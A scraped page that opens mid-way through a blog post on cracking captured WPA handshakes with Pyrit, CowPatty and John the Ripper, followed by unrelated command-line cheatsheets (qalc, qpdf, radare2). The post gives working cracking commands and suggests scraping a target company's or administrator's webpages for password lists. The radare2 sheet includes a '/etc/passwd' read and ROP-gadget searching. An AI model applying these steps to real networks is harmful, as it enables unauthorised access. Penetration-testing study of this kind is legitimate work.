passphrase list, and double-check the SSID.  Sorry it did not work out.

1786 passphrases tested in 8.04 seconds:  222.04 passphrases/second

My problem was that CowPatty in anything other then my BT4 r2 vmware was not properly finding the handshake.

cowpatty -r Capture.cap -c -s SSID

End of pcap capture file, incomplete four-way handshake exchange.  Try using a

different capture.

Hmm CowPatty is misbehaving on my regular machine, which is where I would want to pre-compute hashes and perform my cracking due to more memory and cores available on my primary system. I do not want to crack any passwords inside of a vmware unless its precomputed and I certainly do not want to try to compute hashes on a vmare either.  So I decided to check another popular WPA cracking tool Pyrit against the password hash file.

Using Pyrit for cracking instead: 

pyrit -r Capture.cap -i dictionary.txt attack_passthrough

This command was also failing on every single system for unknown reasons at the time. So I decided I was going to have to use Pyrit to Precompute hashes and then use those precomputed hashes inside of a vmware on cowpatty. Interestingly enough you can export pyrit hashtables in various formats to be used with airolib and cowpatty.

Pyrit Usage for Hashtables and cracking: 

Pyrit is extremely useful for a few reasons, most importantly being that you can resume functionality such as creating hashtables if for some reason you have to stop an operation and unplug or shutdown your machine. You can simply quit pyrit like any other program, but pyrit will remember where it left off in its hashtable computing. No need to leave your machine in one place running for hours or days. Simply quit and resume at will.

Create a database of SSID’s for attack:

Pyrit –e essid  create_essid

Add dictionary words to be hashed:

Pyrit –i dictionaryFile import_passwords

These 2 commands will create a dictionary of SSID and password values used in a standard attack or for precompution of hashtables. Another nice feature of pyrit is that you can keep running the dictionary command to add in as many dictionary files as you have available. Pyrit will remove duplicate entries and will also remove passwords that cannot be used in a WPA protected network such as passwords below 8 characters. This is fantastic, as you won’t waste processor cycles on passwords that are useless.

Create hashtables:

Pyrit batch

The previous command will create hashtables of everything in the database for the given SSID values in the database. At any point during this operation you can quit and resume simply by killing the operation and typing in the previous command again, pyrit will pick up where it left off. Once this is completed you can directly use Pyrit to attack a handshake or in my case pyrit was not recognizing the capture file so I had to export the database in cowpatty format with the following command.

Using pyrit to crack:

Pyrit –r capture.cap attack_db

Exporting different hashtable formats: 

As I stated pyrit cracking didn’t work for me due to complications on the way pyrit parsed the capture file, the pyrit command would fail every time and not recognize the handshake.  So I exported the hashtable database for use with cowpatty.

Cowpatty export:

Pyrit –e essid  -o hashes.cow  export_cowpatty

Note that you can also export to airolib format if you prefer using the aircrack suite of tools to do your pre-computed cracking just switch out the export_cowpatty command for the airolib command. Until I got pyrit working correctly I preferred to use cowpatty so I exported to my preferred format.

CowPatty File Size Issue:

Apparently when using 32 bit systems and hash file sizes over 2 gigs cowpatty will not work. So when I tried to directly attack the WPA PSK with the hashfile I was given an error “Could not stat hashfile.  Check file path”.

cowpatty -r Capture.cap  -d hashes.cow –s SSID

cowpatty 4.6 - WPA-PSK dictionary attack.

cowpatty: Could not stat hashfile.  Check file path.

File Size WorkAround:

One way around this annoying issue was to pipe your hashfile into the STDIN value of CowPatty by outputting the hashfile with the unix “cat” command. You can do this by specifying the dash character as the input dictionary file in CowPatty. I found this to be very useful for a few reasons I will show next.

CowPatty with STDIN:

Cat hashes.cow | cowpatty –d - -r capture.cap -s SSID

Using the previous command you can bypass the filesize restriction and use precomputed hashfiles of larger sizes J   But the STDIN can also be used for other cracking methods such as running custom bruteforcing of password files with JTR. By taking a dictionary and running it through the rules option of JTR additional characters such as numbers will be added to each word in your dictionary file. Although this may not be feasible do to the slow nature of password cracking without precomputed hashes, it is an option if dictionary files are not finding the password for you.

JTR STDOUT with CowPatty STDIN:

In the john directory type:

./john --wordlist=wordlist --stdout –rules |cowpatty –f - -r capture.cap -s SSID

Custom password list creation:

Another option would be to create a custom password list out of your current password list using JTR rules and then batch them with pyrit shown earlier in this blog post. You can create a custom password list by just using STDOUT to a new password file.

In the john directory type:

./john --wordlist=dictionary.txt --stdout --rules > newpasslist.txt

Then add these new passwords to your pyrit dictionary and re-batch the new passwords with the same commands show previously. This may help in situations where users choose passwords such as password4. Which isn’t a dictionary word but is certainly an easy password to guess.

Custom passwords via webpages:

You could also create yourself custom passwords lists via scraping the companies website or the system administrators personal webpage’s.  Its not to hard to find out who the administrator is, make a few phone calls or check the companies webpage for listings of employees.  Once a page is found you can scrape the page for password with a tool by the name of CEWL.  Although I don’t condone the use of Ruby you may catch a weird disease or feel really dirty after using it yuuuk ruby, this is a useful tool for creating a custom password list.

./cewl.rb -d 1 -w passwordList.txt website.com

Cewl will create a custom password list named “passwordList.txt” which you can then run through john to add more passwords with numbers before batching the new passwords with pyrit. Pyrit will get rid of the useless passwords for you during password import.

The pyrit cracking issue:

I belive the cracking and parsing issue in pyrit was due to the version of pyrit that I was using. For me the only version of pyrit that functions correctly is the SVN version of pyrit currently available on the pyrit site. Any other version failed to work correctly for both parsing and for GPU cracking... See the previous post on this blog for getting your OSX machine to work with GPU and Pyrit. What this will do for you is allow you to efficiently crack passwords in pyrit with much quicker speeds even when passwords are not precomputed. 

############################

#==============================##==============================#
# CMD PYRIT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

138 - 🖥️qalc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qalc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗  █████╗ ██╗      ██████╗
#  ██╔═══██╗██╔══██╗██║     ██╔════╝
#  ██║   ██║███████║██║     ██║     
#  ██║▄▄ ██║██╔══██║██║     ██║     
#  ╚██████╔╝██║  ██║███████╗╚██████╗
#   ╚══▀▀═╝ ╚═╝  ╚═╝╚══════╝ ╚═════╝

qalc "145Gibyte / 1.35(Mibyte/second) to day" 
# How many days will it take to transfer 145GiB at 1.35MiB/sec? Use qalc!
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

139 - 🖥️qlist

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qlist command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██╗     ██╗███████╗████████╗
#  ██╔═══██╗██║     ██║██╔════╝╚══██╔══╝
#  ██║   ██║██║     ██║███████╗   ██║   
#  ██║▄▄ ██║██║     ██║╚════██║   ██║   
#  ╚██████╔╝███████╗██║███████║   ██║   
#   ╚══▀▀═╝ ╚══════╝╚═╝╚══════╝   ╚═╝   

# Print compile time in seconds package by package (Gentoo Distros)
qlist -I | xargs qlop -t |sort -t" " -rnk2

# Sample outpt:
	# qtwebengine: 12644 seconds average for 5 merges
	# libreoffice: 12069 seconds average for 4 merges
	# qtwebkit: 11395 seconds average for 3 merges
	# kbd: 5831 seconds average for 1 merges
	# clang: 4839 seconds average for 2 merges
	# clang: 4839 seconds average for 2 merges
	# webkit-gtk: 4406 seconds average for 3 merges
	# firefox: 4202 seconds average for 9 merges
	# llvm: 3765 seconds average for 7 merges
	# llvm: 3765 seconds average for 7 merges
	# gcc: 3448 seconds average for 6 merges
	# polkit-gnome: 2705 seconds average for 3 merges
	# gnupg: 2445 seconds average for 5 merges
	# qtquickcontrols2: 2377 seconds average for 2 merges
	# rust: 2222 seconds average for 10 merges
	# rust: 2222 seconds average for 10 merges
	# kirigami: 1927 seconds average for 5 merges

# Calculate your total world compile time. (Gentoo Distros)
# From Gentoo Forum, greetings to rudregues & steveL. 
qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'

# Sample Output:
	# 48h:4m:20s
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

140 - 🖥️qlmanage

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qlmanage command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██╗     ███╗   ███╗ █████╗ ███╗   ██╗ █████╗  ██████╗ ███████╗
#  ██╔═══██╗██║     ████╗ ████║██╔══██╗████╗  ██║██╔══██╗██╔════╝ ██╔════╝
#  ██║   ██║██║     ██╔████╔██║███████║██╔██╗ ██║███████║██║  ███╗█████╗  
#  ██║▄▄ ██║██║     ██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══██║██║   ██║██╔══╝  
#  ╚██████╔╝███████╗██║ ╚═╝ ██║██║  ██║██║ ╚████║██║  ██║╚██████╔╝███████╗
#   ╚══▀▀═╝ ╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝

# qlmanage
#
# QuickLook server tool (Mac OS X)

# Display QuickLook for one or multiple files:
qlmanage -p filename filename2

# Compute 300px wide PNG thumbnails of all JPEGs in the current directory and put them in a directory:
qlmanage *.jpg -t -s 300 path/to/directory

# Reset Quicklook:
qlmanage -r
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

141 - 🖥️qpdf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qpdf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██████╗ ██████╗ ███████╗
#  ██╔═══██╗██╔══██╗██╔══██╗██╔════╝
#  ██║   ██║██████╔╝██║  ██║█████╗  
#  ██║▄▄ ██║██╔═══╝ ██║  ██║██╔══╝  
#  ╚██████╔╝██║     ██████╔╝██║     
#   ╚══▀▀═╝ ╚═╝     ╚═════╝ ╚═╝

# Combine several PDFs into one
qpdf --empty --pages .pdf -- out.pdf
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

142 - 🖥️qrify

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qrify command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██████╗ ██╗███████╗██╗   ██╗
#  ██╔═══██╗██╔══██╗██║██╔════╝╚██╗ ██╔╝
#  ██║   ██║██████╔╝██║█████╗   ╚████╔╝ 
#  ██║▄▄ ██║██╔══██╗██║██╔══╝    ╚██╔╝  
#  ╚██████╔╝██║  ██║██║██║        ██║   
#   ╚══▀▀═╝ ╚═╝  ╚═╝╚═╝╚═╝        ╚═╝

# qrify (Bash-Snippets)
# converts strings or urls into a qr code

# Encode a single lined string into a qr code
qrify This is an example string

# Encode a multiple lined string into a qr code
qrify -m "This should be \n two lines"
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

143 - 🖥️r2

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the r2 command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██████╗ 
#  ██╔══██╗╚════██╗
#  ██████╔╝ █████╔╝
#  ██╔══██╗██╔═══╝ 
#  ██║  ██║███████╗
#  ╚═╝  ╚═╝╚══════╝

# Command Line options
	-L: List of supported IO plugins

	-q: Exit after processing commands

	-w: Write mode enabled

	-i: Interprets a r2 script

	-A: Analize executable at load time (xrefs, etc)

	-n: Bare load. Do not load executable info as the entrypoint

	-c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main')

	-p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project)

	-: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512

-----------------------------------------------------------------------------------------------------------------------------

# Configuration properties
	e: Returs configuration properties
	
	e <property>: Checks a specific property:
    		e asm.tabs => false

	e <property>=<value>: Change property value
    		e asm.arch=ppc

	e? help about a configuration property
    		e? cmd.stack

	
	
	# Show comments at right of disassembly if they fit in screen
		e asm.cmtright=true

	# Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
		e asm.pseudo = true

	# Display stack and register values on top of disasembly view (visual mode)
		e cmd.stack = true

	# Solarized theme
		eco solarized

	# Use UTF-8 to show cool arrows that do not look like crap :)
		e scr.utf8 = true

-----------------------------------------------------------------------------------------------------------------------------

# Basic Commands

	; Command chaining: x 3;s+3;pi 3;s+3;pxo 4;
    
	| Pipe with shell commands: pd | less
    
	! Run shell commands: !cat /etc/passwd
    
	!! Escapes to shell, run command and pass output to radare buffer
    		
		Note: 	The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this
			command to launch it directly to the shell. A single one will walk through the io plugin list.

    	` Radare commands: wx `!ragg2 -i exec`
    
	~ grep
    
	~! grep -v
    
	~[n] grep by columns afl~[0]

    	~:n grep by rows afl~:0
	
	<command>~.. less/more mode

	+-------------------------------------------------------------------
	
	pi~mov,eax            ; lines with mov or eax
    	pi~mov&eax            ; lines with mov and eax
    	pi~mov,eax:6          ; 6 first lines with mov or eax
    	pd 20~call[0]:0       ; grep first column of the first row matching 'call'
	
	+-------------------------------------------------------------------

	.cmd Interprets command output
	
	+-------------------------------------------------------------------
	
	is* prints symbolos
	.is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n)
	
	+-------------------------------------------------------------------
	
	.. repeats last commands (same as enter \n)
    	
	( Used to define and run macros
    
	$ Used to define alias
    
	$$: Resolves to current address
    	
	Offsets (@) are absolute, we can use $$ for relative ones @ $$+4
    
	? Evaluate expression
	+-------------------------------------------------------------------

	[0x00000000]> ? 33 +2
	35 0x23 043 0000:0023 35 00100011 35.0 0.000000
	Note: | and & need to be escaped

	+-------------------------------------------------------------------

	?$? Help for variables used in expressions
    
	$$: Here
    
	$s: File size
    
	$b: Block size
    
	$l: Opcode length
    
	$j: When $$ is at a jmp, $j is the address where we are going to jump to
    
	$f: Same for jmp fail address
	
	$m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10)
    
	??? Help for ? command
    
	?i Takes input from stdin. Eg ?i username
    
	?? Result from previous operations
    
	?s from to [step]: Generates sequence from to every
    
	?p: Get physical address for given virtual address
    
	?P: Get virtual address for given physical one
    
	?v Show hex value of math expr

	+-------------------------------------------------------------------

	?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d
	?v 0x4141414a - 0x41414140  = 0xa

	+-------------------------------------------------------------------

	?l str: Returns the length of string
    
	@@: Used for iteractions

	+-------------------------------------------------------------------

	wx ff @@10 20 30      Writes ff at offsets 10, 20 and 30
	wx ff @@`?s  1 10 2`  Writes ff at offsets 1, 2 and 3
	wx 90 @@ sym.*        Writes a nop on every symbol

	+-------------------------------------------------------------------

# Positioning

	s address: Move cursor to address or symbol
	
	s-5 (5 bytes backwards)
	
	s- undo seek

	s+ redo seek

# Block Size

	b size: Change block size

# Analyze
	
	aa: Analyze all (fcns + bbs) same that running r2 with -A

	ahl <length> <range>: fake opcode length for a range of bytes
	
	ad: Analyze data

	ad@rsp (analize the stack)

	+ Normal mode
		
		af: Analyze functions

		afl: List all functions
    			number of functions: afl~?

		afi: Returns information about the functions we are currently at

		afr: Rename function: structure and flag
	
		afr off: Restore function name set by r2

		afn: Rename function
		
		afn strlen 0x080483f0

		af-: Removes metadata generated by the function analysis

		af+: Define a function manually given the start address and length
			af+ 0xd6f 403 checker_loop

		axt: Returns cross references to (xref to)

		axf: Returns cross references from (xref from)
	
	+ Visual mode

		d, f: Function analysis

		d, u: Remove metadata generated by function analysis

	+ Opcode analysis
		
		ao x: Analize x opcodes from current offset

		a8 bytes: Analize the instruction represented by specified bytes

# Information

		iI: File info

		iz: Strings in data section

		izz: Strings in the whole binary
	
		iS: Sections
			iS~w returns writable sections

		is: Symbols
			is~FUNC exports
		
		il: Linked libraries

		ii: Imports

		ie: Entrypoint

	+ Mitigations

		i~pic : check if the binary has position-independent-code
	
		i~nx : check if the binary has non-executable stack

		i~canary : check if the binary has canaries

# Print

	psz n @ offset: Print n zero terminated String

	px n @ offset: Print hexdump (or just x) of n bytes

	pxw n @ offset: Print hexdump of n words
		pxw size@offset  prints hexadecimal words at address

	pd n @ offset: Print n opcodes disassambled

	pD n @ offset: Print n bytes disassembled

	pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions)

	pdf @ offset: Print disassembled function
		pdf~XREF (grep: XREFs)
		pdf~call (grep: calls)

	pcp n @ offset: Print n bytes in python string output.
		pcp 0x20@0x8048550
		import struct
		buf = struct.pack ("32B",
    			0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00,
			0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20,
			0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz)

	p8 n @ offset: Print n bytes (8bits) (no hexdump)
	
	pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...)

	pt: Interpret data as dates

	pf: Print with format

	pf.: list all formats

	p=: Print entropy ascii graph

# Write

	wx: Write hex values in current offset
    		wx 123456
    		wx ff @ 4

	wa: Write assembly
    		wa jnz 0x400d24

	wc: Write cache commit

	wv: Writes value doing endian conversion and padding to byte

	wo[x]: Write result of operation
    		wow 11223344 @102!10
        		write looped value from 102 to 102+10
        		0x00000066  1122 3344 1122 3344 1122 0000 0000 0000
    
	wox 0x90
        	XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block)
    	
	wox 67 @4!10
        	XOR from offset 4 to 10 with value 67

	wf file: Writes the content of the file at the current address or specified offset (ASCII characters only)

	wF file: Writes the content of the file at the current address or specified offset

	wt file [sz]: Write to file (from current seek, blocksize or sz bytes)
    		Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF)

	woO 41424344 : get the index in the De Bruijn Pattern of the given word

# Flags

	f: List flags

	f label @ offset: Define a flag `label` at offset
    		f str.pass_len @ 0x804999c

	f -label: Removes flag

	fr: Rename flag

	fd: Returns position from nearest flag (looking backwards). Eg => entry+21

	fs: Show all flag spaces

	fs flagspace: Change to the specified flag space

	fe loop and create numbered flags:
		
		1. fs demo_flagspace
		2. fe demo_flagspace @@=`pdf~jne[1]`

# Yank & Paste

	y n: Copies n bytes from current position

	y: Shows yank buffer contentent with address and length where each entry was copied from

	yp: Prints yank buffer

	yy offset: Paste the contents of the yank buffer at the specified offset

	yt n target @ source: Yank to. Copy n bytes fromsource to target address

# Visual Mode

	q: Exits visual mode

	hjkl: move around (or HJKL) (left-down-up-right)

	o: go/seek to given offset

	?: Help

	.: Seek EIP

	<enter>: Follow address of the current jump/call

	:cmd: Enter radare commands. Eg: x @ esi

	d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it.
    		dr: Rename a function
    		df: Define a function

	v: Get into the visual code analysis menu to edit/look closely at the current function.

	p/P: Rotate print (visualization) modes
    		hex, the hexadecimal view
    		disasm, the disassembly listing
        		Use numbers in [] to follow jump
        		Use "u" to go back
    		
		debug, the debugger
    		words, the word-hexidecimal view
    		buf, the C-formatted buffer
    		annotated, the annotated hexdump.

	c: Changes to cursor mode or exits the cursor mode
    		select: Shift+[hjkl]
    		i: Insert mode
    		a: assembly inline
    		A: Assembly in visual mode
    		y: Copy
    		Y: Paste
    		f: Creates a flag where cursor points to
    		<tab> in the hexdump view to toggle between hex and strings columns

	V: View ascii-art basic block graph of current function

	W: WebUI

	x, X: XREFs to current function. ("u" to go back)

	t: track flags (browse symbols, functions..)

	gG: Begging or end of file

	HUD
    		_ Show HUD
    		backspace: Exits HUD
    		We can add new commands to HUD in: radare2/shlr/hud/main

	;[-]cmt: Add/remove comment

	m<char>: Define a bookmark

	'<char>: Go to previously defined bookmark

# ROP
	
	/R opcodes: Search opcodes
    	
	/R pop,pop,ret
	
	/Rl opcodes: Search opcodes and print them in linear way
	
	/Rl jmp eax,call ebx

	/a: Search assembly
    	
	/a jmp eax

	pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng

	e search.roplen = 4  (change the depth of the search, to speed-up the hunt)

# Searching

	/ bytes: Search bytes
    		\x7fELF

	+-------------------------------------------------------------------

	push ebp
	mov ebp, esp

	Opcodes: 5589e5

	/x 5589e5
		[# ]hits: 54c0f4 < 0x0804c600  hits = 1
    		0x08049f70 hit0_0 5589e557565383e4f081ec
    		0x0804c31a hit0_1 5589e583ec18c704246031
    		0x0804c353 hit0_2 5589e583ec1889442404c7
    		0x0804c379 hit0_3 5589e583ec08e87cffffff
    		0x0804c3a2 hit0_4 5589e583ec18c70424302d

		pi 5 @@hit* (Print 5 first instructions of every hit)

	+-------------------------------------------------------------------

	Its possible to run a command for each hit. Use the cmd.hit property:

		e cmd.hit=px

# Comments and defines

	Cd [size]: Define as data

	C- [size]: Define as code

	Cs [size]: Define as String

	Cf [size]: Define as struct
    		We can define structures to be shown in the disassmbly

	CC: List all comments or add a new comment in console mode
    		C* Show all comments/metadata
    		CC <comment> add new comment
    		CC- remove comment

# Magic files

	pm: Print Magic files analysis
    		[0x00000000]> pm
    		0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1

	/m [magicfile]: Search magic number headers with libmagic

	search.align
	search.from (0 = beginning)
	search.to (0 = end)
	search.asmstr
	search.in

# Yara
	
	:yara scan

# Zignatures

	zg <language> <output file>: Generate signatures
		eg: zg go go.z

	Run the generated script to load signatures
    		eg: . go.z

	z: To show signatures loaded:

	+-------------------------------------------------------------------
	
	r2-(pid2)> pd 35 @ 0x08049adb-10
	|          0x08049adb   call fcn.0805b030
	|             fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println
	|          0x08049ae0   add esp, 0xc
	|          0x08049ae3   call fcn.08095580

	+-------------------------------------------------------------------

# Compare Files

	r2 -m 0xf0000 /etc/fstab    ; Open source file
	
	o /etc/issue                ; Open file2 at offset 0
	
	o                           ; List both files

	cc offset: Diff by columns between current offset address and "offset"

# Graphs

	+ Basic block graphs
		
		af: Load function metadata

		ag $$ > a.dot: Dump basic block graph to file

		ag $$ | xdot: Show current function basic block graph

	+ Call graphs

		af: Load function metadata

		agc $$ > b.dot: Dump basic block graph to file

	+ Convert .dot in .png

		dot -Tpng -o /tmp/b.png b.dot

	+ Generate graph for file

		radiff2 -g main crackme.bin crackme.bin > /tmp/a
		xdot /tmp/a

# Debugger

	+ Start r2 in debugger mode. r2 will fork and attach
		
		r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /")
		
		ptrace://pid (debug backend does not notice, only access to mapped memory)

	+ Pass arguments
		
		r2 -d rarun2 program=pwn1 arg1=$(python exploit.py)

	+ Pass stdin
		
		r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py)

	+ Commands

		do: Reopen program

		dp: Shows debugged process, child processes and threads

		dc: Continue

		dcu <address or symbol>: Continue until symbol (sets bp in address, continua until bp and remove bp)

		dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library)

		ds: Step in

		dso: Step out

		dss: Skip instruction

		dr register=value: Change register value

		dr(=)?: Show register values

		db address: Sets a breakpoint at address
    			db sym.main add breakpoint into sym.main
    			db 0x804800 add breakpoint
    			db -0x804800 remove breakpoint

		dsi (conditional step): Eg: "dsi eax==3,ecx>0"

		dbt: Shows backtrace

		drr: Display in colors and words all the refs from registers or memory

		dm: Shows memory map (* indicates current section)
    			[0xb776c110]> dm
    			sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls
    			sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls
    			sys 0xb776a000 - 0xb776b000 s r-x [vdso]
